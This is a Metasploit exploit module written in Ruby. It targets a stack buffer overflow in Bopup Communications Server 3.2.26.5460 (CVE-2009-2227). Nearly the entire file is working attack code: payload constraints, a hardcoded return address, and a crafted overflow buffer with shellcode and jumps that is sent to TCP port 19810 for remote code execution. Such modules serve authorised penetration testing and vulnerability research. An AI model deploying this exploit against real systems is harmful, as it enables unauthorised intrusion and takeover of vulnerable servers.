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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Bopup Communications Server Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
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          By sending a specially crafted packet, an attacker may be
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          able to execute arbitrary code.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2009-2227' ],
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          [ 'OSVDB', '55275' ],
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          [ 'URL', 'http://www.blabsoft.com/products/server' ],
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          [ 'EDB', '9002' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 417,
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          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2009-06-18',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(19810)
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      ]
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    )
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  end
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  def exploit
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    connect
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    sploit = [0x00000001].pack('V')
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    sploit << rand_text_alpha_upper(829 - payload.encoded.length)
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    sploit << payload.encoded
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    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
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    sploit << rand_text_alpha_upper(27)
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    sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
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    sploit << [target.ret].pack('V')
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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